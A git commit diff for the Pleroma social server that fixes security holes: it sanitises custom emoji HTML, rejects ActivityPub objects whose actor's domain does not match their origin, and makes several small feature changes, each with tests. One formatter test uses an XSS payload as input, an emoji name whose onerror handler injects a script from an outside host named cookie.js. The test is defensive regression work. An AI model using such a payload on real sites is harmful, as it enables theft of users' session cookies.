aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--config/config.exs3
-rw-r--r--lib/pleroma/formatter.ex1
-rw-r--r--lib/pleroma/user.ex3
-rw-r--r--lib/pleroma/web/activity_pub/activity_pub.ex1
-rw-r--r--lib/pleroma/web/activity_pub/transmogrifier.ex14
-rw-r--r--lib/pleroma/web/mastodon_api/mastodon_api_controller.ex40
-rw-r--r--lib/pleroma/web/mastodon_api/views/account_view.ex2
-rw-r--r--lib/pleroma/web/twitter_api/controllers/util_controller.ex57
-rw-r--r--lib/pleroma/web/twitter_api/views/activity_view.ex3
-rw-r--r--test/fixtures/httpoison_mock/https__info.pleroma.site_activity.json14
-rw-r--r--test/formatter_test.exs17
-rw-r--r--test/support/httpoison_mock.ex8
-rw-r--r--test/web/activity_pub/transmogrifier_test.exs21
-rw-r--r--test/web/mastodon_api/mastodon_api_controller_test.exs26
-rw-r--r--test/web/twitter_api/representers/activity_representer_test.exs2
-rw-r--r--test/web/twitter_api/views/activity_view_test.exs27
-rw-r--r--test/web/twitter_api/views/user_view_test.exs2
17 files changed, 180 insertions, 61 deletions
diff --git a/config/config.exs b/config/config.exs
index e22363519..b29300c3c 100644
--- a/config/config.exs
+++ b/config/config.exs
@@ -70,7 +70,8 @@ config :pleroma, :instance,
allow_relay: true,
rewrite_policy: Pleroma.Web.ActivityPub.MRF.NoOpPolicy,
public: true,
- quarantined_instances: []
+ quarantined_instances: [],
+ managed_config: true
config :pleroma, :fe,
theme: "pleroma-dark",
diff --git a/lib/pleroma/formatter.ex b/lib/pleroma/formatter.ex
index e5ccc7a49..2b4c3c2aa 100644
--- a/lib/pleroma/formatter.ex
+++ b/lib/pleroma/formatter.ex
@@ -154,6 +154,7 @@ defmodule Pleroma.Formatter do
MediaProxy.url(file)
}' />"
)
+ |> HtmlSanitizeEx.basic_html()
end)
end
diff --git a/lib/pleroma/user.ex b/lib/pleroma/user.ex
index fca490cb1..64c69b209 100644
--- a/lib/pleroma/user.ex
+++ b/lib/pleroma/user.ex
@@ -68,7 +68,8 @@ defmodule Pleroma.User do
following_count: length(user.following) - oneself,
note_count: user.info["note_count"] || 0,
follower_count: user.info["follower_count"] || 0,
- locked: user.info["locked"] || false
+ locked: user.info["locked"] || false,
+ default_scope: user.info["default_scope"] || "public"
}
end
diff --git a/lib/pleroma/web/activity_pub/activity_pub.ex b/lib/pleroma/web/activity_pub/activity_pub.ex
index e6c2dc9cf..81c11dd76 100644
--- a/lib/pleroma/web/activity_pub/activity_pub.ex
+++ b/lib/pleroma/web/activity_pub/activity_pub.ex
@@ -747,6 +747,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPub do
"actor" => data["attributedTo"],
"object" => data
},
+ :ok <- Transmogrifier.contain_origin(id, params),
{:ok, activity} <- Transmogrifier.handle_incoming(params) do
{:ok, Object.normalize(activity.data["object"])}
else
diff --git a/lib/pleroma/web/activity_pub/transmogrifier.ex b/lib/pleroma/web/activity_pub/transmogrifier.ex
index 1367bc7e3..4a3a82195 100644
--- a/lib/pleroma/web/activity_pub/transmogrifier.ex
+++ b/lib/pleroma/web/activity_pub/transmogrifier.ex
@@ -31,6 +31,20 @@ defmodule Pleroma.Web.ActivityPub.Transmogrifier do
end
@doc """
+ Checks that an imported AP object's actor matches the domain it came from.
+ """
+ def contain_origin(id, %{"actor" => actor} = params) do
+ id_uri = URI.parse(id)
+ actor_uri = URI.parse(get_actor(params))
+
+ if id_uri.host == actor_uri.host do
+ :ok
+ else
+ :error
+ end
+ end
+
+ @doc """
Modifies an incoming AP object (mastodon format) to our internal format.
"""
def fix_object(object) do
diff --git a/lib/pleroma/web/mastodon_api/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/mastodon_api_controller.ex
index bd6f04c55..8279db93e 100644
--- a/lib/pleroma/web/mastodon_api/mastodon_api_controller.ex
+++ b/lib/pleroma/web/mastodon_api/mastodon_api_controller.ex
@@ -654,9 +654,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
json(conn, %{})
end
- def search2(%{assigns: %{user: user}} = conn, %{"q" => query} = params) do
- accounts = User.search(query, params["resolve"] == "true")
-
+ def status_search(query) do
fetched =
if Regex.match?(~r/https?:/, query) do
with {:ok, object} <- ActivityPub.fetch_object_from_id(query) do
@@ -681,7 +679,13 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
order_by: [desc: :id]
)
- statuses = Repo.all(q) ++ fetched
+ Repo.all(q) ++ fetched
+ end
+
+ def search2(%{assigns: %{user: user}} = conn, %{"q" => query} = params) do
+ accounts = User.search(query, params["resolve"] == "true")
+
+ statuses = status_search(query)
tags_path = Web.base_url() <> "/tag/"
@@ -705,31 +709,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
def search(%{assigns: %{user: user}} = conn, %{"q" => query} = params) do
accounts = User.search(query, params["resolve"] == "true")
- fetched =
- if Regex.match?(~r/https?:/, query) do
- with {:ok, object} <- ActivityPub.fetch_object_from_id(query) do
- [Activity.get_create_activity_by_object_ap_id(object.data["id"])]
- else
- _e -> []
- end
- end || []
-
- q =
- from(
- a in Activity,
- where: fragment("?->>'type' = 'Create'", a.data),
- where: "https://www.w3.org/ns/activitystreams#Public" in a.recipients,
- where:
- fragment(
- "to_tsvector('english', ?->'object'->>'content') @@ plainto_tsquery('english', ?)",
- a.data,
- ^query
- ),
- limit: 20,
- order_by: [desc: :id]
- )
-
- statuses = Repo.all(q) ++ fetched
+ statuses = status_search(query)
tags =
String.split(query)
@@ -1050,6 +1030,8 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
NaiveDateTime.to_iso8601(created_at)
|> String.replace(~r/(\.\d+)?$/, ".000Z", global: false)
+ id = id |> to_string
+
case activity.data["type"] do
"Create" ->
%{
diff --git a/lib/pleroma/web/mastodon_api/views/account_view.ex b/lib/pleroma/web/mastodon_api/views/account_view.ex
index 133cae3b5..7bc32e688 100644
--- a/lib/pleroma/web/mastodon_api/views/account_view.ex
+++ b/lib/pleroma/web/mastodon_api/views/account_view.ex
@@ -46,7 +46,7 @@ defmodule Pleroma.Web.MastodonAPI.AccountView do
fields: [],
source: %{
note: "",
- privacy: "public",
+ privacy: user_info.default_scope,
sensitive: "false"
}
}
diff --git a/lib/pleroma/web/twitter_api/controllers/util_controller.ex b/lib/pleroma/web/twitter_api/controllers/util_controller.ex
index 68e9a47b7..886b70f5f 100644
--- a/lib/pleroma/web/twitter_api/controllers/util_controller.ex
+++ b/lib/pleroma/web/twitter_api/controllers/util_controller.ex
@@ -156,30 +156,39 @@ defmodule Pleroma.Web.TwitterAPI.UtilController do
|> send_resp(200, response)
_ ->
- json(conn, %{
- site: %{
- name: Keyword.get(@instance, :name),
- description: Keyword.get(@instance, :description),
- server: Web.base_url(),
- textlimit: to_string(Keyword.get(@instance, :limit)),
- closed: if(Keyword.get(@instance, :registrations_open), do: "0", else: "1"),
- private: if(Keyword.get(@instance, :public, true), do: "0", else: "1"),
- pleromafe: %{
- theme: Keyword.get(@instance_fe, :theme),
- background: Keyword.get(@instance_fe, :background),
- logo: Keyword.get(@instance_fe, :logo),
- logoMask: Keyword.get(@instance_fe, :logo_mask),
- logoMargin: Keyword.get(@instance_fe, :logo_margin),
- redirectRootNoLogin: Keyword.get(@instance_fe, :redirect_root_no_login),
- redirectRootLogin: Keyword.get(@instance_fe, :redirect_root_login),
- chatDisabled: !Keyword.get(@instance_chat, :enabled),
- showInstanceSpecificPanel: Keyword.get(@instance_fe, :show_instance_panel),
- scopeOptionsEnabled: Keyword.get(@instance_fe, :scope_options_enabled),
- collapseMessageWithSubject:
- Keyword.get(@instance_fe, :collapse_message_with_subject)
- }
- }
- })
+ data = %{
+ name: Keyword.get(@instance, :name),
+ description: Keyword.get(@instance, :description),
+ server: Web.base_url(),
+ textlimit: to_string(Keyword.get(@instance, :limit)),
+ closed: if(Keyword.get(@instance, :registrations_open), do: "0", else: "1"),
+ private: if(Keyword.get(@instance, :public, true), do: "0", else: "1")
+ }
+
+ pleroma_fe = %{
+ theme: Keyword.get(@instance_fe, :theme),
+ background: Keyword.get(@instance_fe, :background),
+ logo: Keyword.get(@instance_fe, :logo),
+ logoMask: Keyword.get(@instance_fe, :logo_mask),
+ logoMargin: Keyword.get(@instance_fe, :logo_margin),
+ redirectRootNoLogin: Keyword.get(@instance_fe, :redirect_root_no_login),
+ redirectRootLogin: Keyword.get(@instance_fe, :redirect_root_login),
+ chatDisabled: !Keyword.get(@instance_chat, :enabled),
+ showInstanceSpecificPanel: Keyword.get(@instance_fe, :show_instance_panel),
+ scopeOptionsEnabled: Keyword.get(@instance_fe, :scope_options_enabled),
+ collapseMessageWithSubject: Keyword.get(@instance_fe, :collapse_message_with_subject)
+ }
+
+ managed_config = Keyword.get(@instance, :managed_config)
+
+ data =
+ if managed_config do
+ data |> Map.put("pleromafe", pleroma_fe)
+ else
+ data
+ end
+
+ json(conn, %{site: data})
end
end
diff --git a/lib/pleroma/web/twitter_api/views/activity_view.ex b/lib/pleroma/web/twitter_api/views/activity_view.ex
index 55b5287f5..909eefdd8 100644
--- a/lib/pleroma/web/twitter_api/views/activity_view.ex
+++ b/lib/pleroma/web/twitter_api/views/activity_view.ex
@@ -181,6 +181,7 @@ defmodule Pleroma.Web.TwitterAPI.ActivityView do
def render("activity.json", %{activity: %{data: %{"type" => "Like"}} = activity} = opts) do
user = get_user(activity.data["actor"], opts)
liked_activity = Activity.get_create_activity_by_object_ap_id(activity.data["object"])
+ liked_activity_id = if liked_activity, do: liked_activity.id, else: nil
created_at =
activity.data["published"]
@@ -197,7 +198,7 @@ defmodule Pleroma.Web.TwitterAPI.ActivityView do
"is_post_verb" => false,
"uri" => "tag:#{activity.data["id"]}:objectType=Favourite",
"created_at" => created_at,
- "in_reply_to_status_id" => liked_activity.id,
+ "in_reply_to_status_id" => liked_activity_id,
"external_url" => activity.data["id"],
"activity_type" => "like"
}
diff --git a/test/fixtures/httpoison_mock/https__info.pleroma.site_activity.json b/test/fixtures/httpoison_mock/https__info.pleroma.site_activity.json
new file mode 100644
index 000000000..eab0341fe
--- /dev/null
+++ b/test/fixtures/httpoison_mock/https__info.pleroma.site_activity.json
@@ -0,0 +1,14 @@
+{
+ "@context": "https://www.w3.org/ns/activitystreams",
+ "actor": "https://mastodon.example.org/users/admin",
+ "attachment": [],
+ "attributedTo": "https://mastodon.example.org/users/admin",
+ "content": "<p>this post was not actually written by Haelwenn</p>",
+ "id": "https://info.pleroma.site/activity.json",
+ "published": "2018-09-01T22:15:00Z",
+ "tag": [],
+ "to": [
+ "https://www.w3.org/ns/activitystreams#Public"
+ ],
+ "type": "Note"
+}
diff --git a/test/formatter_test.exs b/test/formatter_test.exs
index 4e27efe06..273eefb8a 100644
--- a/test/formatter_test.exs
+++ b/test/formatter_test.exs
@@ -189,11 +189,26 @@ defmodule Pleroma.FormatterTest do
text = "I love :moominmamma:"
expected_result =
- "I love <img height='32px' width='32px' alt='moominmamma' title='moominmamma' src='/finmoji/128px/moominmamma-128.png' />"
+ "I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />"
assert Formatter.emojify(text) == expected_result
end
+ test "it does not add XSS emoji" do
+ text =
+ "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
+
+ custom_emoji = %{
+ "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
+ "https://placehold.it/1x1"
+ }
+
+ expected_result =
+ "I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
+
+ assert Formatter.emojify(text, custom_emoji) == expected_result
+ end
+
test "it returns the emoji used in the text" do
text = "I love :moominmamma:"
diff --git a/test/support/httpoison_mock.ex b/test/support/httpoison_mock.ex
index 4ee2feb95..7057f30fb 100644
--- a/test/support/httpoison_mock.ex
+++ b/test/support/httpoison_mock.ex
@@ -3,6 +3,14 @@ defmodule HTTPoisonMock do
def get(url, body \\ [], headers \\ [])
+ def get("https://info.pleroma.site/activity.json", _, _) do
+ {:ok,
+ %Response{
+ status_code: 200,
+ body: File.read!("test/fixtures/httpoison_mock/https__info.pleroma.site_activity.json")
+ }}
+ end
+
def get("https://puckipedia.com/", [Accept: "application/activity+json"], _) do
{:ok,
%Response{
diff --git a/test/web/activity_pub/transmogrifier_test.exs b/test/web/activity_pub/transmogrifier_test.exs
index e2926d495..afa25bb60 100644
--- a/test/web/activity_pub/transmogrifier_test.exs
+++ b/test/web/activity_pub/transmogrifier_test.exs
@@ -798,4 +798,25 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
assert rewritten["url"] == "http://example.com"
end
end
+
+ describe "actor origin containment" do
+ test "it rejects objects with a bogus origin" do
+ {:error, _} = ActivityPub.fetch_object_from_id("https://info.pleroma.site/activity.json")
+ end
+
+ test "it rejects activities which reference objects with bogus origins" do
+ user = insert(:user, %{local: false})
+
+ data = %{
+ "@context" => "https://www.w3.org/ns/activitystreams",
+ "id" => user.ap_id <> "/activities/1234",
+ "actor" => user.ap_id,
+ "to" => ["https://www.w3.org/ns/activitystreams#Public"],
+ "object" => "https://info.pleroma.site/activity.json",
+ "type" => "Announce"
+ }
+
+ :error = Transmogrifier.handle_incoming(data)
+ end
+ end
end
diff --git a/test/web/mastodon_api/mastodon_api_controller_test.exs b/test/web/mastodon_api/mastodon_api_controller_test.exs
index d4ff16c68..60dafcf03 100644
--- a/test/web/mastodon_api/mastodon_api_controller_test.exs
+++ b/test/web/mastodon_api/mastodon_api_controller_test.exs
@@ -206,7 +206,19 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
|> assign(:user, user)
|> get("/api/v1/accounts/verify_credentials")
- assert %{"id" => id} = json_response(conn, 200)
+ assert %{"id" => id, "source" => %{"privacy" => "public"}} = json_response(conn, 200)
+ assert id == to_string(user.id)
+ end
+
+ test "verify_credentials default scope unlisted", %{conn: conn} do
+ user = insert(:user, %{info: %{"default_scope" => "unlisted"}})
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/accounts/verify_credentials")
+
+ assert %{"id" => id, "source" => %{"privacy" => "unlisted"}} = json_response(conn, 200)
assert id == to_string(user.id)
end
@@ -715,6 +727,18 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
assert User.following?(other_user, user) == true
end
+ test "verify_credentials", %{conn: conn} do
+ user = insert(:user, %{info: %{"default_scope" => "private"}})
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/accounts/verify_credentials")
+
+ assert %{"id" => id, "source" => %{"privacy" => "private"}} = json_response(conn, 200)
+ assert id == to_string(user.id)
+ end
+
test "/api/v1/follow_requests/:id/reject works" do
user = insert(:user, %{info: %{"locked" => true}})
other_user = insert(:user)
diff --git a/test/web/twitter_api/representers/activity_representer_test.exs b/test/web/twitter_api/representers/activity_representer_test.exs
index 3f85e028b..894d20049 100644
--- a/test/web/twitter_api/representers/activity_representer_test.exs
+++ b/test/web/twitter_api/representers/activity_representer_test.exs
@@ -126,7 +126,7 @@ defmodule Pleroma.Web.TwitterAPI.Representers.ActivityRepresenterTest do
}
expected_html =
- "<p>2hu</p>alert('YAY')Some <img height='32px' width='32px' alt='2hu' title='2hu' src='corndog.png' /> content mentioning <a href=\"#{
+ "<p>2hu</p>alert('YAY')Some <img height=\"32px\" width=\"32px\" alt=\"2hu\" title=\"2hu\" src=\"corndog.png\" /> content mentioning <a href=\"#{
mentioned_user.ap_id
}\">@shp</a>"
diff --git a/test/web/twitter_api/views/activity_view_test.exs b/test/web/twitter_api/views/activity_view_test.exs
index a101e4ae8..b9a8efdad 100644
--- a/test/web/twitter_api/views/activity_view_test.exs
+++ b/test/web/twitter_api/views/activity_view_test.exs
@@ -126,6 +126,33 @@ defmodule Pleroma.Web.TwitterAPI.ActivityViewTest do
assert result == expected
end
+ test "a like activity for deleted post" do
+ user = insert(:user)
+ other_user = insert(:user, %{nickname: "shp"})
+
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!"})
+ {:ok, like, _object} = CommonAPI.favorite(activity.id, other_user)
+ CommonAPI.delete(activity.id, user)
+
+ result = ActivityView.render("activity.json", activity: like)
+
+ expected = %{
+ "activity_type" => "like",
+ "created_at" => like.data["published"] |> Utils.date_to_asctime(),
+ "external_url" => like.data["id"],
+ "id" => like.id,
+ "in_reply_to_status_id" => nil,
+ "is_local" => true,
+ "is_post_verb" => false,
+ "statusnet_html" => "shp favorited a status.",
+ "text" => "shp favorited a status.",
+ "uri" => "tag:#{like.data["id"]}:objectType=Favourite",
+ "user" => UserView.render("show.json", user: other_user)
+ }
+
+ assert result == expected
+ end
+
test "an announce activity" do
user = insert(:user)
other_user = insert(:user, %{nickname: "shp"})
diff --git a/test/web/twitter_api/views/user_view_test.exs b/test/web/twitter_api/views/user_view_test.exs
index 24a5c5bca..7075a2370 100644
--- a/test/web/twitter_api/views/user_view_test.exs
+++ b/test/web/twitter_api/views/user_view_test.exs
@@ -22,7 +22,7 @@ defmodule Pleroma.Web.TwitterAPI.UserViewTest do
test "A user with emoji in username", %{user: user} do
expected =
- "<img height='32px' width='32px' alt='karjalanpiirakka' title='karjalanpiirakka' src='/file.png' /> man"
+ "<img height=\"32px\" width=\"32px\" alt=\"karjalanpiirakka\" title=\"karjalanpiirakka\" src=\"/file.png\" /> man"
user = %{
user